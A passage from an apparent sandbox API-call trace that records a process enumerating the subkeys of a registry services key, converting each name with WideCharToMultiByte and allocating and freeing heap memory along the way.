Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0228.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.801] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0228.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0228.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.801] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0228.802] RegCloseKey (hKey=0x148) returned 0x0 [0228.802] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0228.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0228.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.802] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0228.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0228.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1cd0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0228.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.802] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0228.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0228.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1bf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0228.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.802] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0228.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0228.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1cd0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0228.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.803] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0228.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0228.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1bf8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0228.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.803] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0228.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0228.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1cd0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0228.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.803] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0228.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0228.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.804] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0228.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0228.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.804] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0228.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0228.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.804] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0228.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0228.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.804] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0228.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0228.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1bf8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0228.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.805] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0228.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0228.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.805] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0228.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0228.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.805] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0228.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0228.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0228.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0228.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0228.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0228.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0228.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0228.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0228.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0228.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0228.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0228.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, 